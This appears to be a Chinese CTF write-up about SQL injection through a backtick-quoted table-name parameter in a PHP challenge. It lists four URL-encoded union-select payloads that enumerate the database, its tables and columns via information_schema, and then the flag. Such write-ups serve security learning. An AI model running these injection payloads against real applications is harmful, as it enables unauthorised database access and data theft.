源码
1 | <?php |
分析:
题目接收了table的值,之后使用了sql语句查询结果,一看就是sql注入,问题是这里的反引号是怎么个意思。
sql语句中的反引号
这里的反引号经过查询是用于区分普通字符和sql语句保留字
自己在数据库中测试的结果
1 | desc `flag`//有结果 |
分析:通过上面测试,我们可以使用union查询爆出数据库的数据
write up
爆数据库名
1
?table=test`%20`union%20select%20database()%20limit%201,1
爆表名
1
?table=test`%20`union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1
爆列名
1
?table=test`%20`union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7365637265745f666c6167%20limit%201,1
- 爆flag
1
?table=test`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
总结
以上都是看网上的wp看到的,自己应该也挺难想到flag
aaa
前面的反引号里面的数值会被aaa替代,还是得多实践,加油吧….